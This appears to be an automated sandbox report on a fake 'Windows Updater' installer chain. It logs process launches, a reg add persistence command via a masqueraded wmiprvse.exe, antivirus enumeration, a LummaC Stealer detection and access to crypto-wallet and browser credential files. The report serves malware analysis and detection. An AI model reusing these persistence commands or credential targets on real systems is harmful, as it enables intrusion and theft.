Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_10019C57 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_10019C57
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_1001F48D SetUnhandledExceptionFilter,__encode_pointer,	4_2_1001F48D
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_1001F4AF __decode_pointer,SetUnhandledExceptionFilter,	4_2_1001F4AF
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_10015D38 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_10015D38
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00B46D50 __set_se_translator,SetUnhandledExceptionFilter,	21_2_00B46D50
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00CAE5D3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_00CAE5D3
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00B48AF0 __set_se_translator,SetUnhandledExceptionFilter,	21_2_00B48AF0
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00CA996D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	21_2_00CA996D
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005E816E SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	30_2_005E816E
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005E87D0 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	30_2_005E87D0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005E8963 SetUnhandledExceptionFilter,	30_2_005E8963
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005ECDA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	30_2_005ECDA3
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002A816E SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	32_2_002A816E
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002A87D0 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	32_2_002A87D0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002A8963 SetUnhandledExceptionFilter,	32_2_002A8963
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002ACDA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	32_2_002ACDA3

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\expand.exe expand C:\Users\user\AppData\Local\Temp\is-J1954.tmp\{app}\aglwjhm.cab -F:* C:\ProgramData	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Process created: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe "C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe"
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Process created: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe "C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe"
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f

Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f

Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Process created: C:\Windows\SysWOW64\msiexec.exe c:\windows\system32\msiexec.exe" /i "c:\users\user\appdata\roaming\aw manager\windows manager 1.0.0\install\97fdf62\windows manager - postback johan.msi" /qn campaign=2598 ai_setupexepath=c:\users\user\appdata\local\temp\is-k33ca.tmp\a1.exe setupexedir=c:\users\user\appdata\local\temp\is-k33ca.tmp\ exe_cmd_line="/exenoupdates /forcecleanup /wintime 1701870439 /qn campaign=""2598"" " campaign="2598
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Process created: C:\Windows\SysWOW64\msiexec.exe c:\windows\system32\msiexec.exe" /i "c:\users\user\appdata\roaming\aw manager\windows manager 1.0.0\install\97fdf62\windows manager - postback johan.msi" /qn campaign=2598 ai_setupexepath=c:\users\user\appdata\local\temp\is-k33ca.tmp\a1.exe setupexedir=c:\users\user\appdata\local\temp\is-k33ca.tmp\ exe_cmd_line="/exenoupdates /forcecleanup /wintime 1701870439 /qn campaign=""2598"" " campaign="2598
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "c:\windows\system32\msiexec.exe" /i "c:\appdata\roaming\advancedwindowsmanager\windows installer 5.0.3\install\7eb1504\system updater.msi" ai_setupexepath="c:\programdata\aw manager\windows manager\updates\v113\v113.exe" setupexedir="c:\programdata\aw manager\windows manager\updates\v113\" exe_cmd_line="/exenoupdates /forcecleanup /wintime 1701870439 "

Source: a3.exe, 00000021.00000002.3908840511.0000000000DE2000.00000002.00000001.01000000.00000022.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: wmiprvse.exe, 0000000F.00000002.3928160512.0000000011194000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: Shell_TrayWndunhandled plugin data, id=%d
Source: wmiprvse.exe, 0000000F.00000002.3928160512.0000000011194000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: Shell_TrayWnd
Source: wmiprvse.exe, 0000000F.00000002.3928160512.0000000011194000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: Progman

Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp

Code function: 4_2_100268A5 cpuid

4_2_100268A5

Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: GetLocaleInfoA,	4_2_100212D9
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: _TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,_ProcessCodePage,IsValidCodePage,IsValidLocale,_strcpy_s,__invoke_watson,__itoa_s,	4_2_100217F3
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,InterlockedDecrement,InterlockedDecrement,	4_2_10017808
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: GetLocaleInfoA,	4_2_10023160
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: _LcidFromHexString,GetLocaleInfoA,	4_2_100213BB
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoW_stat,	4_2_100263ED
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,	4_2_10020BF4
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: GetLastError,_malloc,WideCharToMultiByte,__freea,GetLocaleInfoA,	4_2_10026428
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,__invoke_watson,___crtGetLocaleInfoA,	4_2_10020434
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: GetLocaleInfoA,_LcidFromHexString,_GetPrimaryLen,_strlen,	4_2_10021451
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	4_2_10026565
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	4_2_10020598
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: _LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	4_2_10021693
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	4_2_10021752
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	4_2_100217B7
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: EnumSystemLocalesW,	21_2_00CC2FDC
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	21_2_00CCB584
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: GetLocaleInfoW,	21_2_00CC3599
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: GetLocaleInfoW,	21_2_00CCB77F
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: EnumSystemLocalesW,	21_2_00CCB871
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: EnumSystemLocalesW,	21_2_00CCB826
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	21_2_00CCB997
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: EnumSystemLocalesW,	21_2_00CCB90C
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: EnumSystemLocalesW,	30_2_00602009
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: EnumSystemLocalesW,	30_2_006020A4
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	30_2_0060212F
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: GetLocaleInfoW,	30_2_00602382
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	30_2_006024AB
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: GetLocaleInfoW,	30_2_006025B1
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	30_2_00602680
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,	30_2_0057ABB0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: EnumSystemLocalesW,	30_2_005FB74A
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: GetLocaleInfoW,	30_2_005FBBF4
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	30_2_00601D1C
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: EnumSystemLocalesW,	30_2_00601FBE
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: EnumSystemLocalesW,	32_2_002C2009
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: EnumSystemLocalesW,	32_2_002C20A4
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	32_2_002C212F
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: GetLocaleInfoW,	32_2_002C2382
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	32_2_002C24AB
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: GetLocaleInfoW,	32_2_002C25B1
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	32_2_002C2680
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,	32_2_0023ABB0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: EnumSystemLocalesW,	32_2_002BB74A
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: GetLocaleInfoW,	32_2_002BBBF4
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	32_2_002C1D1C
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: EnumSystemLocalesW,	32_2_002C1FBE

Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Queries volume information: C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe

Code function: 21_2_00C505F0 CreateNamedPipeW,CreateFileW,

21_2_00C505F0

Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp

Code function: 4_2_1001F38D GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

4_2_1001F38D

Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp

Code function: 4_2_10016F7F RtlAllocateHeap,GetVersionExA,HeapFree,HeapFree,__heap_term,__RTC_Initialize,GetCommandLineA,___crtGetEnvironmentStringsA,__ioinit,__mtterm,__setargv,__setenvp,__cinit,__ioterm,__ioterm,__mtterm,__heap_term,___set_flsgetvalue,__calloc_crt,__decode_pointer,GetCurrentThreadId,__freeptd,

4_2_10016F7F

Source: C:\Windows\SysWOW64\expand.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 Blob

Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 1922353491.exe PID: 5896, type: MEMORYSTR
Source: Yara match	File source: 00000024.00000002.3681239071.0000000000B21000.00000040.00000001.01000000.00000026.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.3305708382.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 1922353491.exe, 00000024.00000003.3358674130.00000000009FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: 1922353491.exe, 00000024.00000002.3686040918.000000000563B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: 1922353491.exe, 00000024.00000002.3680655474.0000000000996000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 1922353491.exe, 00000024.00000003.3358674130.00000000009FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: 1922353491.exe, 00000024.00000003.3358674130.00000000009FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: 1922353491.exe, 00000024.00000003.3424538444.00000000050EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum
Source: 1922353491.exe, 00000024.00000002.3680655474.0000000000996000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcobl
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\key4.db
